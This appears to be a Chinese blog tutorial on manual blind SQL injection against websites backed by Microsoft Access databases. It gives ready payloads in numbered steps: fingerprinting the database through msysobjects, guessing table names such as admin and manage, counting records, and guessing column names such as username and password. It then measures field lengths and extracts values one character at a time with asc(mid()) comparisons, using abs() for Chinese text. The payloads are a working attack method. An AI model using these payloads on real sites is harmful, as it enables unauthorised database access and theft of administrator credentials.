1. 程式人生 > >Access手動註入實戰

Access手動註入實戰

col 列名 password 第一個 pass bject pan 所有 取列值

註入ACCESS時,不能和MYSQL一樣可以把表名爆出,只能一個一個去猜。

1.找到網站後,查看是否為ACCESS數據庫。

    構造payload URL+ and exists (select id from mysysaccessobjects) 返回正確,則為access數據庫。

             and (select count(*) from msysobjects)>0 –返回權限不足為access數據庫
             and (select count(*) from sysobjects)>0 –返回正常則為MSSQL數據庫

    想法設法讓他報錯,錯誤信息中包含數據庫信息。

            技術分享圖片

2.進行and 1=1(顯示正常) 與and1=2(報錯)確實是註入點。

3.URL + and 0<=(select count(*) from admin) and 1<2 查看返回結果,發現出錯。說明沒有admin這個表。 (使用參見的表名進行猜測) and (select count(*) from admin) 即可

4.URL + and 0<=(select count(*) from manage) and 1<2 查看返貨結果,反正正確頁面。說明數據庫中含有manage這個表。         and (select count(*) from manage)

即可

  一個一個去嘗試看看別的表名是什麽。

5.確定manage這個表的存在,然後接下來判斷表內有多少條記錄數

      payload: and (select count(*) from 猜到的表名)>X(X是個數字,>我們也可以替換為=或<)。

       嘗試: and (select count(*) from manage)>0 看是否返回正確頁面。正確說明有 >0的記錄數。然後繼續修改X 確定有多少條記錄數。 這裏測試後只有一條記錄。

6.知道manage 表中只有一個記錄也就是只有一個列。然後猜測列名。

      payload : (select count(username) from manage) 猜測manage表中是否有username這個列。 然後把username 換成一些常用的password id等等去測試。

7.知道列名後,然後猜測字段長度。

        payload:使用語句and (select top 1 len(列) from 表)>X,`select top 1`是查詢第一條數據的意思。(查詢第二條字段長度必須先把第一條的字段值判斷出來)

        payload:and (select top 1 len(username) from manage)>4 返回正確頁面,說明第一個字段大於4

        payload:and (select top 1 len(username) from manage)>5 返回錯誤頁面,說明第一個字段小於5 。結合說明第一個字段長度為5

8. 判斷字段值

  payload:and (select top 1 asc(mid(字段名,X,1)) from 表名)>N,這個句子裏的N和X都是數字。top 1還是是查詢第一條數據的意思。

  asc()這個函數是用來得到()裏的字符串的 ASCII碼(什麽是ASCII碼呢?計算機內部采用二進制的方式計數,那麽它為什麽又能識別十進制數和各種字符、圖形呢?

  其實,不論是數值數據還是文字、圖形等,在計算機內部都采用了一種編碼標準。通過編碼標準可以把它轉換成二進制數來進行處理,計算機將這些信息處理完畢再轉換成可視的信息顯示出來。常用的字符代碼是 ASCII碼,它原來是美國的國家標準,

  1967年被定為國際標準。),比如a所對應的ASCII碼就是97。

  mid(字段名,A, N),這個函數是用來截取()裏的字段從第A個長度起往後截取N個字,比如mid(username,2,3)就表示從username字段中從第二個字符向後截取3位,包括第二個字符,比如值為admin,截取的就是dmi。我們上面使用mid(字段名,X,1),

  最後面那個數字是1,但前面還有個asc()函數,asc()這個函數一下就只把一個字符轉換成ASCII碼,所以我們用mid()函數來截取列值的時候只截取一位。

    構造payload: and (select top 1 asc(mid(username,1,1)) from manage)>96 頁面返回正常頁面 說明username列中的第一個字段往後的一位大於 96(轉碼之後)

           and (select top 1 asc(mid(username,1,1)) from manage)>97 頁面返回錯誤頁面,說明username列中的第一字段往後的一位不大於97(轉碼之後)。說明是97 ASCII轉碼之後是a

    然後在構造payload :and (select top 1 asc(mid(username,2,1)) from manage)>97 繼續猜測第二個字段。使用這個方法繼續猜測之後的字段。能把所有的字段都爆出來。

 

     9. 有時候,我們會碰到漢字的數據,比如username中數據就是“管理員”,這時就不能使用ASCII碼了

    10.用逐字猜解列值的方 法,有的時候是 >0 頁面還是返回錯誤!不大於0就說晚這個值的ASCII碼是負數,也就是漢字!這個時候我們要想得到它的ASCII碼,就要用到一個函數了!abs()這個 函數是用來返回一個值的絕對值的!我們只要把這個函數加在句子裏,就可以按照平常的方法猜ASCII碼了。具體是這麽加的:and (select top 1 abs(asc(mid(列,X,1))) from admin)>N就是這樣了,不過等猜出來後不要忘了加負號。

    11.聯合查詢也可以嘗試猜測。

Access手動註入實戰